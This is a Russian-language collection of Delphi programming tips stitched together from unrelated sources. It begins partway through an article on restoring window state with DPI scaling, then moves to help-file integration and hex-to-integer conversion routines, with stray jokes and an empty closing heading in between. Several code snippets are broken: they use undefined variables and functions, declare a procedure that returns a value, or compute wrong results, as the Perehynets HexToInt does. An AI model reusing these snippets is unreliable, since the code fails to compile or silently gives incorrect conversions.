Необходимо решить, какие именно значения свойств окна будут сохраняться и восстанавливаться. Вероятно состояние окна: свернуто, максимизировано и т.д. и позицию окна, т.е. положение левого верхнего угла и, либо положение правого нижнего угла, либо размеры окна. Необходимо еще предусмотреть, как средство защиты программы от пользователей - любителей запускать одно и то же приложение при разных значениях PPI, возможности, на выбор: 1) отказа от восстановления параметров окна и установка значений по умолчанию, 2) изменение этих параметров в соответствии с изменением используемого шрифта. Мне, больше по душе метод 'нумбер 2'. Что нужно сделать? вроде бы совсем не многое - всегда хранить размеры окна приведенными в соответствие с PPI времени создания, и при восстановлении проводить коррекцию, в соответствии с PPI времени выполнения. Положение левого верхнего угла формы изменять не следует, этого не делает Delphi, не будем делать и мы. В первой части статьи, говорилось, что величина масштабирования размеров окна зависит от отношения PPI's времен создания и выполнения, и такого понимания, тогда, было достаточно. Настало время все уточнить. На самом деле все обстоит несколько сложнее. Отношение PPI's используется для масштабирования высоты шрифта, после этого вычисляется высота образцового текста (у Delphi это строка '0' :). Ну а далее, для масштабирования, используется отношение старой и новой высот текста. Это отношение будет равно отношению PPI's в случае использования стандартных, для Windows, установок 'Крупный/Мелкий шрифт'. Размеры обычных экранных шрифтов строго фиксированы, по этому, использование нестандартных значений PPI' s может приводить к возникновению неприятных эффектов. В таких случаях, иногда, способен помочь шрифт TTF, например, как предлагается здесь. Следует отметить еще одну особенность масштабирования форм: непосредственно изменяются не сами размеры формы, а размеры клиентской части.

Вооружившись этими знаниями можно придти к выводу, что придется вносить изменения в функцию RtmPPI и DsgnPPI, и вычислять их результат иначе, чем было сделано ранее. Идея проста, использовать для масштабирования высоту текста, времени создания формы и времени выполнения приложения. Судя по всему - это более корректный способ, однако, в названиях переменных и процедур сохранена аббревиатура PPI. Остается вопрос, где, во время исполнения, взять высоту текста времени создания, ведь при создании окна все размеры изменяются. В принципе, все интересующие нас числа хранятся в ресурсах программы и можно попробовать прочитать их оттуда. Но, все попытки обратиться к ресурсам формы в программе, использую стандартные и рекомендованные для этого средства, ни к чему не привели. Точнее, нужные ресурсы программы успешно читаются, но уже в измененном виде, так уж устроен метод TCustomForm.ReadState :(. По этому, попытаемся прочитать данные из ресурса, так же, как это делает Delphi, но в сильно упрощенном варианте. Если вы загляните в исходный код VCL и просмотрите всё, что хоть как-то касается загрузки ресурсов программы, то поймете, зачем эти упрощения. Сведений, в литературе и интернете, связанных с вопросами чтения ресурсов во время исполнения программы, без создания самих компонентов, очень мало. К моему сожалению, практически, я ничего не нашел, и если кто-то знает, где есть подобного рода информация - поделитесь ссылкой. Текст функции, которая читает ресурсы определенной формы, выглядит так:

unit Appl;
...
function ReadFormRes(ResName: string; List: TStringList): boolean;
var
  Prop, Value: string;
  Stream: TResourceStream;
  Reader: TReader;
  HRsrc: THandle;
begin
  List.Clear;
  HRsrc := FindResource(HInstance, PChar(ResName), RT_RCDATA);
  Result := HRsrc <> 0;
  if not Result then Exit;
  Stream := TResourceStream.Create(HInstance, ResName, RT_RCDATA);
  Reader := TReader.Create(Stream, 4096);
  try
    Reader.ReadSignature;
    Reader.ReadStr;
    Reader.ReadStr;
    while not Reader.EndOfList do
    begin
      Prop := Reader.ReadStr;
      Value := strNil;
      case Reader.NextValue of
        vaInt8, vaInt16, vaInt32:
          Value := IntToStr(Reader.ReadInteger);
        vaString:
          Value := Reader.ReadString;
        else
          Reader.SkipValue;
      end;
      if Value <> strNil then
        List.Add(Format('%s = %s',[Prop,Value]));
    end;
    Reader.CheckValue(vaNull);
  finally
    Reader.Free;
    Stream.Free;
  end;
end;

Как я уже говорил, здесь представлен упрощенный вариант, который ищет определенный ресурс в программе, и сообщает в результате найден он или нет, а так же заполняет List набором строк найденных свойств и их значений. В список записываются не все свойства, а только те, которые определены в ресурсе и имеют тип, либо целого числа, либо строки, и принадлежат самой форме. При желании, можно организовать рекурсивный обход всех компонентов окна и чтение их свойств. Полный тест для данной функции не приводится, по той простой причине, что он довольно велик и явно выходит за рамки данной статьи. Может быть в другой статье :). Скажу лишь что, при построении такого рода функции, вряд ли стоит эмулировать полностью весь процесс загрузки ресурсов программы. В нашем случае, необходимо прочитать лишь некоторые свойства окна, что мы и сделаем. Конечно, можно поступить и так; создать пустую форму, у которой будет известна высота текста времени создания, но во время выполнения программы нам будет известно её масштабированное значение, что, собственно говоря, и нужно. Но, лично мне такой путь не нравиться, как по стилю решения проблемы, так и по тому, что при таком подходе возможна проблема с Constraints. Тестирующая функция довольно проста, хотя, конечно же, при тестировании полного варианта она выглядит иначе:

Procedure TtestUnitAppl.TestReadFormRes;
var
  List: TStringList;
  Test: boolean;
begin
  List := TStringList.Create;
  try
    ReadFormRes('TGUITestRunner', List);
    Test := List.Values['Caption'] = 'DUnit: An Xtreme testing framework';
  finally
    List.Free;
    Check(Test, strFailedTest);
  end;
end;

Изменим функцию RtmPPI таким образом, что бы она вычисляла, во время выполнения программы, высоту текста, для определенного нами окна. Соответственно DsgnPPI, изменится так, что вычисление её результата будет происходить с использованием ReadFormRes. Дополнительно, что бы избежать ошибок при определении RtmPPI, в ситуации, когда окно еще не создано, нам понадобится функция, которая по имени окна будет искать его в списке созданных форм и возвращать указатель на найденную форму, иначе nil.

Unit testAppl;
...
procedure TTestUnitAppl.TestFindForm;
var
  Test1, Test2, Test3: boolean;
begin
  Test1 := FindForm('testForm') = nil;
  testForm := TtestForm.Create(Application);
  try
    Test2 := FindForm('testForm') <> nil;
  finally
    testForm.Free;
    Test3 := FindForm('testForm') = nil;
  end;
  Check(Test1 and Test2 and Test3, strFailedTest);
end;
unit Appl;
...
function FindForm(FormName: string): TCustomForm;
var
  I: integer;
begin
  Result := nil;
  for I := 0 to Screen.FormCount - 1 do
    if Screen.Forms[I].Name = FormName then
    begin
      Result := Screen.Forms[I];
      Break;
    end;
end;

В принципе, если бы создатели VCL, придерживались простого правила, присвоения nil указателю, который ссылается на еще не созданный или уже удаленный объект, многое было бы проще, и методологически вернее. И я не вижу ни каких логических объяснений, почему до сих пор это не сделано.

unit Appl;
...
const
  strDelphiMagicText = '0';
  strResTextHeight = 'TextHeight';
...
function RtmPPI(FormName: string): integer;
var
  Form: TCustomForm;
begin
  Result := 0;
  Form := FindForm(FormName);
  if Form <> nil then
    Result := Form.Canvas.TextHeight(strDelphiMagicText);
end;
function DsgnPPI(FormName: string): integer;
var
  List: TStringList;
  Form: TCustomForm;
begin
  List := TStringList.Create;
  try
    Form := FindForm(FormName);
    if Form <> nil then
    begin
      ReadFormRes(Form.ClassName, List);
      Result := StrToInt(List.Values[strResTextHeight]);
    end;
  finally
    List.Free;
  end;
end;

Эти функции проверяют наличие определенного окна . Если значение не равно nil, то считается, что форма уже создана, и у неё можно определить PPI's. Если форма еще не создана, то возвращается 0. В случае успешного выполнения функции, результатом будет значение высоты текста, отличное от 0. Так как сами функции несколько усложнились, то необходимо расширить их тестирование. Изменится так же, процедура TestDsgnVsRtmPPI, но функциональность её сохраниться, и даже несколько расшириться. Функция IsChangePPI удалена, из-за её несоответствия текущему моменту.

const
  testPPI = 16;
...
procedure TTestUnitAppl.TestRtmPPI;
var
  Test: boolean;
begin
  testForm := TtestForm.Create(Application);
  try
    Test := RtmPPI('testForm') = testForm.Canvas.TextHeight(strDelphiMagicText);
  finally
    testForm.Free;
    Check(Test, strFailedTest);
  end;
end;
procedure TTestUnitAppl.TestDsgnPPI;
var
  OldPPI, PPI: integer;
begin
  testForm := TtestForm.Create(Application);
  try
    OldPPI := DsgnPPI('testForm');
  finally
    testForm.Free;
    Check(OldPPI = testPPI, Format('DsgnPPI=%d, not %d', [OldPPI, testPPI]));
  end;
end;
procedure TTestUnitAppl.TestDsgnVsRtmPPI;
var
  Test: boolean;
  Text: string;
  OldPPI, NewPPI: integer;
begin
  Test := False;
  Text := strFailedTest;
  testForm := TtestForm.Create(Application);
  try
    OldPPI := RtmPPI('testForm');
    NewPPI := DsgnPPI('testForm');
    if (OldPPI > 0) and (NewPPI > 0) then
    begin
      Test := OldPPI = NewPPI;
      if not Test then
        Text := Format('DsgnPPI=%d not equal RtmPPI=%d DPI', [OldPPI, NewPPI]);
    end;
  finally
    testForm.Free;
    Check(Test, Text);
  end;
end;

Вроде бы все подготовительные действия выполнены, можно попытаться сохранить/восстановить состояние формы. Текст тестовой функции TestSaveLoadFormState можно посмотреть в testAppl.pas. Логика проверки следующая, создается окно, с некоторой задержкой демонстрируется, запоминается состояние окна в локальной переменной и сохраняется в ini-файле. Устанавливаются другие значения состояния окна, перемещается, сворачивается в левый нижний угол, выжидается некоторое время. Восстанавливается состояние окна, сохраненное в ini-файле. Дополнительно, проводится проверка значений состояния окна, до и после сохранения/восстановления. Если же вас не убедят результаты тестов, то всегда можно будет заглянуть в файл ini и посмотреть всё своими глазами. Сами процедуры сохранения/восстановления, и все процедуры к которым они обращаются, приведены поименно ниже:

...
procedure WriteIniShowCmd;
procedure ReadIniShowCmd;
procedure WriteIniFlags;
procedure ReadIniFlags;
procedure WriteIniWidth;
procedure ReadIniWidth;
procedure WriteIniHeight;
procedure ReadIniHeight;
procedure WriteIniLeft;
procedure ReadIniLeft;
procedure WriteIniTop;
procedure ReadIniTop;
procedure ScaleFormConstraints;
procedure SaveFormState;
procedure LoadFormState;
...
Полный текст процедур довольно велик по своим размерам, по этому здесь не приводится, но его можно посмотреть в Appl.pas, тестовые процедуры в testAppl.pas. Следует отметить, что при загрузке положения формы выполняется ScaleFormConstraints, которая корректирует значения Constraints окна, но другие элементы формы остаются без изменения. Желающие могут расширить её по своему усмотрению. Те, кто смотрел исходники MiniProg1, заметят, что в исходных файлах MiniProg2 проведены некоторые 'косметические' изменения. Продолжение следует ...

Declaimer aka Отмазка.

Я надеюсь, что люди, привыкшие читать академические труды, или слушать классические оперы, не станут осуждать автора, за его простую и незатейливую песнь кочевника. Что делал - о том и пел. Исходную партитуру и ноты можно взять здесь: MiniProg2.zip (43K). Любые претензии и предложения принимаются в обсуждение и/или мылом. Предложения будут рассмотрены, претензии - проигнорированы. С особым вниманием будут рассмотрены уточнения списка требований и новые тесты.

Все копирайты, если они известны, указаны. Иначе, автор не известен или копирайт утерян.

Доступ к справочной информации.

Для того чтобы во время работы программы пользователь, нажав клавишу , мог получить справочную информацию, надо чтобы свойство HelpFile главного окна приложения содержало имя файла справочной системы, а свойство HelpContext числовой идентификатор нужного раздела. Вспомните, идентификаторы разделов справочной системы перечислены в разделе [MAP] файла проекта справочной системы. Файл справочной системы приложения лучше поместить в ту папку, в которой находится файл исполняемой программы. Для каждого компонента формы, например поля ввода, можно задать свой раздел справки. Раздел справки, который появляется, если фокус находится на компоненте, и пользователь нажимает клавишу , определяется значением свойства Heipcontext этого компонента. Если значение свойства HelpContext элемента управления равно нулю, то при нажатии клавиши появляется тот раздел справки, который задан для формы приложения. Если в диалоговом окне есть кнопка Справка, то справочная информация выводится по-другому — для кнопки создается процедура обработки события onclick, которая обращением к функции winheip запускает программу Windows Help (файл Winhlp32.exe). При вызове функции winheip в качестве параметров указываются: идентификатор окна, которое запрашивает справочную информацию; имя файла справочной системы; константа, определяющая действие, которое должна выполнить программа Windows Help и уточняющий параметр. Примечание Идентификатор окна — это свойство Handle формы приложения. Свойство Handle доступно только во время работы программы, поэтому в списке свойств в окне Object Inspector его нет. Если необходимо вывести конкретный раздел справки, то в качестве параметра, определяющего действие, используется константа HELP_CONTEXT. Уточняющий параметр в этом случае задает раздел справки, который будет выведен на экран.

Ниже, в качестве примера, приведена процедура обработки события Onclick для кнопки Справка (Button4) диалогового окна программы решения квадратного уравнения.

// щелчок на кнопке Справка
procedure TForm1.Button4Click(Sender: TObject);
begin
  winhelp(Form1.Handle, 'sqroot.hip', HELP_CONTEXT, 1);
end;
HTML Help Workshop Современные программы выводят справочную информацию в Internet-стиле — окно, которое используется для вывода справки, напоминает окно Internet Explorer. И это не удивительно, так как для вывода справочной информации используются компоненты, составляющие основу Microsoft Internet Explorer. Система отображения справочной информации является частью операционной системы, поэтому никакие дополнительные средства для вывода справочной информации не нужны. Физически справочная информация находится в файлах с расширением chm. СНМ-файл — это так называемый компилированный HTML-документ. СНМ-файл получается путем компиляции (объединения) файлов, составляющих HTML-документ, который, как правило, состоит из нескольких HTML-файлов. Процесс преобразования HTML-документа в справочную систему называют компиляцией. Исходной информацией для компилятора справочной системы являются HTML-файлы, файлы иллюстраций и файл проекта. В результате компиляции получается СНМ-файл, содержащий всю справочную информацию. Наиболее просто создать справочную систему можно при помощи программы Microsoft HTML Help Workshop.

Чтобы создать справочную систему, нужно:

подготовить файлы справочной информации; создать файл проекта; создать файл контекста (содержания); выполнить компиляцию.

Последние три из перечисленных выше шагов выполняются в программе HTML Help Workshop.

Обработать нажатие на кнопку Help в диалоговом окне.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   TForm1 = class(TForm)
   private
     procedure wmNCLButtonDown(var Msg: TWMNCLButtonDown); message WM_NCLBUTTONDOWN;
     procedure wmNCLButtonUp(var Msg: TWMNCLButtonUp); message WM_NCLBUTTONUP;
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.DFM}
 procedure TForm1.wmNCLButtonDown(var Msg: TWMNCLButtonDown);
 begin
   if Msg.HitTest = HTHELP then
   begin
     Msg.Result := 0; // swallow mouse down on biHelp border icon 
  end
   else
     inherited;
 end;
 procedure TForm1.wmNCLButtonUp(var Msg: TWMNCLButtonUp);
 begin
   if Msg.HitTest = HTHELP then
   begin
     Msg.Result := 0;
     ShowMessage('Hi!'); // Show your help here 
  end
   else
     inherited;
 end;

Файл документа справочной информации.

Файл документа справочной системы представляет собой RTF-файл определенной структуры. Создать RTF-файл справочной информации можно, например, при помощи Microsoft Word. Сначала нужно набрать текст разделов справки, оформив заголовки разделов одним из стилей Заголовок, например Заголовок1. При этом текст каждого раздела должен находиться на отдельной странице документа (заканчиваться символом "разрыв страницы"). После того, как текст разделов будет набран, нужно, используя сноски (табл. 14.1), пометить заголовки разделов справочной информации (сноски используются компилятором справочной системы в процессе преобразования RTF-файла в HLP-файл, файл справки). Сноски, используемые для разметки RTF-файла: # Задает идентификатор раздела справки, который может использоваться в других разделах для перехода к помеченному этой сноской разделу $ Задает имя раздела, которое будет использоваться для идентификации раздела справки в списке поиска и в списке просмотренных тем во время использования справочной системы к Задает список ключевых слов, при выборе которых из списка диалога поиска осуществляется переход к разделу справки, заголовок которой помечен этой сноской Для того чтобы пометить заголовок раздела сноской, нужно установить курсор перед первой буквой заголовка раздела и из меню Вставка выбрать команду Сноска. В открывшемся диалоговом окне Сноски в группе Вставить сноску нужно установить переключатель в положение обычную, а в группе Нумерация — в положение другая. В поле ввода номера сноски следует ввести символ "#" и нажать кнопку ОК. В результате в документ будет вставлена сноска #, и в нижней части окна документа появится окно ввода текста сноски, в котором рядом со значком сноски следует ввести идентификатор помечаемого раздела справки. В качестве идентификатора можно использовать аббревиатуру заголовка раздела справки или сквозной номер раздела, поставив перед ним, например, буквы Ti (Topic Identifier). Однако лучше, чтобы идентификатор раздела справки начинался с префикса IDH_. В этом случае во время компиляции RTF-файла будет проверена корректность ссылок: компилятор выведет список идентификаторов, которые перечислены в разделе [MAP] файла проекта (см. ниже), но которых нет в RTF-файле. Как правило, разделы справки содержат ссылки на другие разделы. В окне справочной системы понятия (слова), выбор которых вызывает переход к другому разделу справки, выделяются отличным от основного текста справки цветом и подчеркиваются. Во время подготовки текста справочной информации, слово-ссылку, выбор которого должен обеспечить переход к другому разделу справки, следует подчеркнуть двойной линией и сразу за этим словом, без пробела, поместить идентификатор раздела справки, к которому должен быть выполнен переход. Вставленный идентификатор необходимо оформить как скрытый текст.

Помимо ссылки, обеспечивающей переход к другому разделу справки, в документ можно вставить ссылку на комментарий — текст, появляющийся в всплывающем окне. Во время работы справочной системы ссылки на комментарии выделяются цветом и подчеркиваются пунктирной линией. При подготовке документа справочной системы комментарии, как и разделы справки, располагают на отдельной странице, однако текст комментария не должен иметь заголовка. Сноска # должна быть поставлена перед текстом комментария. Ссылка на комментарий оформляется следующим образом: сначала надо подчеркнуть одинарной линией слово, выбор которого должен вызвать появление комментария, затем сразу после этого слова вставить идентификатор комментария, оформив его как скрытый текст.

Оглавление файлов помощи (Help Files Contents).

Keyboard not found. Press F1 to continue...
Используйте HELP_FINDER, если "текущая закладка" не является закладкой 'Index' или 'Find'. HELP_FINDER открывает окно Help Topics, но не меняет закладку с оглавлением (Contents), если текущая закладка - 'Index' или 'Find'.

Попробуйте следующий код:

Function L1InvokeHelpMacro(const i_strMacro: String; const i_bForceFile:
  Boolean): Boolean;
Begin
  if i_bForceFile then
    Application.HelpCommand(HELP_FORCEFILE, 0);
  Result:=Application.HelpCommand(HELP_COMMAND,
    Longint(PChar(i_strMacro))); //Приведение типа PChar здесь необязательно.
End;

Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Index':

L1InvokeHelpMacro('Search()', True);

Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Contents':

L1InvokeHelpMacro('Contents()', True);

Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Find' (только для WinHelp 4):

L1InvokeHelpMacro('Find()', True);

Как привязать файлы помощи в Delphi.

Почему компьютер лучше, ЧЕМ МУЖЧИНА: Пока компьютер не сломался, он готов функционировать сколь угодно долго и сколь угодно часто, но, несмотря на готовность, он никогда не пристает с предложениями "давай займемся совместной деятельностью", если у тебя нет для этого настроения. Компьютер не возражает, если ты предлагаешь ему воспользоваться дискетой с защитой от записи, и не говорит, что защита от записи снижает чувствительность его головки. Чтобы не опасаться нежелательных для тебя физиологических последствий регулярных контактов с компьютером, достаточно соблюдать медицинские требования к длительности этих контактов, то есть не проявлять склонности к излишествам. Характеристики, от которых зависит производительность компьютера, известны еще до того, как ты начнешь им пользоваться, к тому же его производительность не меняется с возрастом. Если компьютер подцепил программу с неизвестным вирусом, вследствие чего стала происходить утечка ресурсов налево, ты можешь просто переформатировать диск, не тратя время и нервы на замену компьютера другим, более полно тебя удовлетворяющим, экземпляром. У компьютера не портится характер, если ты на несколько дней оставишь его без питания. Компьютер быстро выполнит любое твое задание - если не с умом, то хотя бы с энтузиазмом; он не скажет "файлы из мусорной корзины я уберу завтра". Если ты вместе с компьютером заработаешь деньги, он не будет утверждать, что всю самую важную работу выполнял он, и что на этом основании деньги должны пойти ему на покупку нового монитора - такого, какими сейчас обзаводятся самые крутые компьютеры. Когда компьютер не нужен, его можно выключить, а при желании - даже положить в коробку и убрать на антресоли, чтобы не мозолил глаза.
Вот как это делаю я: Сначала создайте файл помощи. Откройте меню "Project/Options...", щелкните на закладке "Application" и введите путь к файлу помощи в строке "Help File". Или же вы можете сделать это непосредственно во время выполнения приложения, указав соответственное значение свойству Application.HelpFile. Затем вам необходимо присвоить значения свойству "HelpContext" у необходимых элементов управления. В нашем случае необходимо задать значение свойству "HelpContext" у кнопки "Help", обычно расположенной на вспомогательных окнах или диалогах. Наконец, в обработчике события нажатия на кнопку вызовите метод Application.HelpContext. Для нашей кнопки "Help" обработчик события OnClick мог бы выглядеть примерно так:
procedure TForm1.btnHelpClick(Sender: TObject);
begin
  Application.HelpContext(TButton(Sender).HelpContext);
end;
Это все!

Вы также можете вызывать другие методы Application для вывода файлов помощи, такие, как Application.HelpCommand и Application.HelpJump.

Показ диалога Help Search.

Статьи по Delphi (009)…

Windows 95 - 95% ошибок. Windows 98 - 98% ошибок. Windows Millenium - неисправимая ошибка тысячелетия.
Application.HelpCommand(HELP_PARTIALKEY, 0);

Если данная команда не находит идентификатор #0 файла помощи (естественно, мы его и задаем), то она выводит диалог "Help Search".

Показ диалога Help Search 2.

Следующий код демонстрирует способ вывода диалога WinHelp "Search" для электронной справки вашего приложения. Для этого следует послать системе электронной справки Windows (WinHelp) команду Help_PartialKey, что можно сделать с помощью метода объекта TApplication HelpCommand. Параметр для этой команды должен иметь тип PChar (можно привести к longint) и содержать строку, которую вам необходимо найти. Пример ниже использует для вызова диалога "Search" пустую строку, которую освобождает после его закрытия.

procedure TForm1.SearchHelp;
var
  P: PChar;
begin
  Application.HelpFile := 'c:\delphi\bin\delphi.hlp';
  P := StrNew('');
  Application.HelpCommand(Help_PartialKey, longint(P));
  StrDispose(P);
end; 

Показ диалога Help Search 3.

procedure TForm1.HelpSearchFor;
var
  S : String;
begin
  S := '';
  Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP';
  Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S));
end;

Как вызвать подсказку к подсказке.

В Delphi-приложении можно вызвать помощь в пользовании системой помощи следующим образом:

Application.HelpCommand(Help_HelpOnHelp, 0);

Как использовать файлы справки.

Автор: http://www.swissdelphicenter.ch

{ First we need to tell the Application object the name
  of the Help file and where to locate it. }
Application.HelpFile := ExtractFilePath(Application.ExeName) +
  'YourHelpFile.hlp';
{ To Show a help file's content tab: }
Application.HelpCommand(HELP_CONTENTS, 0);
{  To display a specific topic of your help file: }
Application.HelpJump('TApplication_HelpJump');

Чтобы в приложении вызывался Help с окошечком для поиска раздела.

Статьи по Delphi (009)…
procedure TForm1.HelpSearchFor;
var
  S: string;
begin
  S := '';
  Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP';
  Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S));
end;

Создание файла справки из html-страниц.

После того как созданы HTML-файлы справочной информации, в которые помещены все необходимые для навигации по справочной системе гиперссылки, можно приступить к непосредственному созданию справочной системы. После запуска HTML Help Workshop надо из меню File выбрать команду New/Project и в окне New Project — Destination ввести имя файла проекта справочной системы. После щелчка на кнопке Далее в этом и следующем окне, окно HTML Help Workshop Первое, что надо сделать, — сформировать раздел [FILES], который должен включать имена HTML-файлов, содержащих справочную информацию по разделам. Чтобы добавить в раздел [FILES] имя файла, надо щелкнуть на кнопке Add/Remove topic files, затем, в появившемся диалоговом окне Topic Files — на кнопке Add и в появившемся стандартном диалоговом окне Открыть выбрать HTML-файл раздела справки. Если справочная информация распределена по нескольким файлам, то операцию добавления нужно повторить несколько раз. После того как в диалоговом окне Topic Files будут перечислены все необходимые для создания справочной информации HTML-файлы, нужно щелкнуть на кнопке ОК. В результате этих действий в файле проекта появится раздел [FILES], в котором будут перечислены HTML-файлы, используемые для создания справочной системы . Следующее, что надо сделать, — задать главный (стартовый) раздел и заголовок окна, в котором будет выводиться справочная информация. Текст заголовка и имя файла главного раздела вводятся соответственно в поля Title и Default file вкладки General диалогового окна Options, которое появляется в результате щелчка на кнопке Change project options. Если для навигации по справочной системе предполагается использовать вкладку Содержание, то надо создать файл контекста. Чтобы это сделать, нужно щелкнуть на вкладке Contents, подтвердить создание нового файла контекста и задать имя файла контекста, в качестве которого можно использовать имя проекта. В результате станет доступной вкладка Contents, в которую нужно ввести содержание — названия разделов справочной системы. Содержание справочной системы принято изображать в виде иерархического списка. Элементы верхнего уровня соответствуют разделам, а подчиненные им элементы — подразделам и темам. Чтобы во вкладку Contents добавить элемент, соответствующий разделу справочной системы, нужно щелкнуть на кнопке Insert a heading, в поле Entry title появившегося диалогового окна Table of Contents Entry ввести название раздела и щелкнуть на кнопке Add. На экране появится окно Path or URL. В поле HTML titles этого окна будут перечислены названия разделов (заголовки HTML-файлов) справочной информации, которая находится во включенных в проект файлах (имена этих файлов указаны в разделе [FILES] вкладки Project). Если вместо названия раздела справочной информации будет указано имя файла, то это значит, что в этом файле нет тега TITLE. Выбрав (по заголовку или по имени) нужный файл нужно щелкнуть на кнопке ОК. В результате перечисленных выше действий во вкладке Contents появится строка с названием раздела справочной информации. Если нужно изменить значок, соответствующий добавленному разделу, то следует щелкнуть на кнопке Edit selection и, используя список Image index вкладки Advanced окна Table of Contents, выбрать нужный значок (обычно рядом с названием раздела или подраздела изображена книжка). Подраздел добавляется точно так же, как и раздел, но после того как подраздел будет добавлен, нужно щелкнуть на кнопке Move selection right. В результате чего уровень заголовка понизится, т. е. раздел станет подразделом. Элементы содержания, соответствующие темам справочной информации, добавляются аналогичным образом, но процесс начинается щелчком на кнопке Insert a page.

Иногда возникает необходимость изменить порядок следования элементов списка содержания или уровень иерархии элемента списка. Сделать это можно при помощи командных кнопок, на которых изображены стрелки. Кнопки Move selection up и Move selection down перемещают выделенный элемент списка, соответственно, вверх и вниз. Кнопка Move selection right перемещает выделенный элемент вправо, т. е. делает его подчиненным предыдущему элементу списка. Кнопка Move selection left выводит элемент из подчиненности предыдущему элементу.

Из шестнадцатеричного числа в целое.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// This tip convert the Hex Code AFFE to integer 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   label1.Caption := IntToStr(StrToInt('$AFFE')); //45054 
end;

Из шестнадцатеричного числа в двоичное.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function HexToBin(Hexadecimal: string): string;
 const
   BCD: array [0..15] of string =
     ('0000', '0001', '0010', '0011', '0100', '0101', '0110', '0111',
     '1000', '1001', '1010', '1011', '1100', '1101', '1110', '1111');
 var
   i: integer;
 begin
   for i := Length(Hexadecimal) downto 1 do
     Result := BCD[StrToInt('$' + Hexadecimal[i])] + Result;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(HexToBin('FFA1'));
   // Returns 1111111110100001 
end;

Процедура для преобразования HEX чисел в Integer.

Автор: Перегинец Иван WEB-сайт: http://perehynets.narod.ru

function HexToInt(s: string): integer;
label
  gte;
var
  tempt: string;
  i: integer;
begin
  tempt := '';
  if s = '' then
  begin
    HexToInt := 0;
    goto gte;
  end;
  for i := 1 to Length(s) do
  begin
    tempt := tempt + IntToHex(Ord(s[i]), 2);
  end;
  HexToInt := StrToInt('$' + tempt);
  gte:
end;

Из HEX и Integer.

var
  i : integer
  s : string;
begin
  s := '$' + ThatHexString;
  i := StrToInt(a);
end;

Из HEX и Integer 2.

CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15);
VAR
  str : String;
  Int,
  i   : integer;
BEGIN
  READLN(str);
  Int := 0;
  FOR i := 1 TO Length(str) DO
    IF str[i] < 'A' THEN
      Int := Int * 16 + ORD(str[i]) - 48
    ELSE
      Int := Int * 16 + HEX[str[i]];
  WRITELN(Int);
  READLN;
END.

Преобразование шестнадцатеричных чисел в целые.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function HexToInt(s: string): Longword;
 var
   b: Byte;
   c: Char;
 begin
   Result := 0;
   s := UpperCase(s);
   for b := 1 to Length(s) do
   begin
     Result := Result * 16;
     c := s[b];
     case c of
       '0'..'9': Inc(Result, Ord(c) - Ord('0'));
       'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
       else
         raise EConvertError.Create('No Hex-Number');
     end;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(IntToStr(StrToHex('AAF1'))); // > 43761 
end;
 {*************************************************}
 procedure HexToInt(s: string): Integer;
 begin
   Result := StrToInt('$' + s);
 end;
 {*************************************************}
 function HexToInt(strHexValue : string) : Integer;
 var
  c,l : integer;
 begin
   Val(strHexValue, l, c);
   Result := l;
 end;
 procedure TForm1.Button2Click(Sender: TObject);
 begin
  ShowMessage(IntToStr(HexToInt('$EAD1')));
 end;
 {***************************************************}
 unit HexConvert;
 { by Andre Fritzsche }
 interface
 uses SysUtils;
 // Wandelt Hexadezimalwert in Value zu Zahl 
function HexTo(Value: string): Longword;
 // Wandelt Bytewert aus Value in Hexadezimalwert (String) 
function ToHex(Value: Byte): string; overload;
 // Wandelt Wordwert aus Value in Hexadezimalwert (String) und 
// trennt Hi- und Lo-Byte durch Splitter 
function ToHex(Value: Word; Splitter: Char): string; overload;
 // Wandelt Longwordwert aus Value in Hexadezimalwert (String) und 
// trennt Hi- und Lo-Word durch Splitter 
function ToHex(Value: Cardinal; Splitter: Char): string; overload;
 implementation
 const
    HexTbl: string = '0123456789ABCDEF';
   {------------------------------------------------------------------------------}
 function HexTo(Value: string): Longword;
 var
    intX, PosCnt: Byte;
   zwVal: Integer;
 begin
   Result := 0;
   PosCnt := 0; //Halb-Byte-Position 
  for intX := Length(Value) - 1 downto 0 do
    begin     //alle Zeichen von links durchlaufen 
    zwVal := Pos(UpperCase(Value[intX + 1]), HexTbl) - 1; //prufen, ob Zeichen aus Value 
    if zwVal >= 0 then
      begin  //in HexTbl vorkommt und Position zu zwVal 
      Result := Result + (zwVal shl (4 * PosCnt));
       //zwVal 4*Halbbyteposition Bits nach links verschieben 
      Inc(PosCnt);  //Halb-Byte Position erhohen 
    end;
   end;
 end;
 {------------------------------------------------------------------------------}
 function ToHex(Value: Byte): string;
 var
    zwVal: Byte;
 begin
   zwVal  := (Value and $0F);          //erstes (Lo)-Byte von Value maskieren 
  Result := HexTbl[zwVal + 1];        //aus HexTbl zu Result 
  zwVal  := (Value and $F0) shr 4;
   //zweites (Hi)-Byte von Value maskieren und 4Bits nach rechts verschieben 
  Result := HexTbl[zwVal + 1] + Result; //aus HexTbl vor Result 
end;
 {------------------------------------------------------------------------------}
 function ToHex(Value: Word; Splitter: Char): string;
 begin
   Result := ToHex(Byte(Lo(Value)));   //LoByte umwandeln, zu Result 
  Result := ToHex(Byte(Hi(Value))) + Splitter + Result;
   //HiByte umwandeln, zu Result, Trennzeichen davorsetzen 
end;
 {------------------------------------------------------------------------------}
 function ToHex(Value: Cardinal; Splitter: Char): string;
 var
    zwVal: Word;
 begin
   zwVal  := Value and $0000FFFF; //loword maskieren 
  Result := ToHex(Word(zwVal)); //umwandeln und zu Result 
  zwVal  := (Value and $FFFF0000) shr 16; //hiword maskieren 
  Result := ToHex(Word(zwVal)) + Splitter + Result;
   //umwandeln und zu Result, Trennzeichen davorsetzen 
end;
 {------------------------------------------------------------------------------}
 end.

Загрузить web-страницу со скрытым IP.

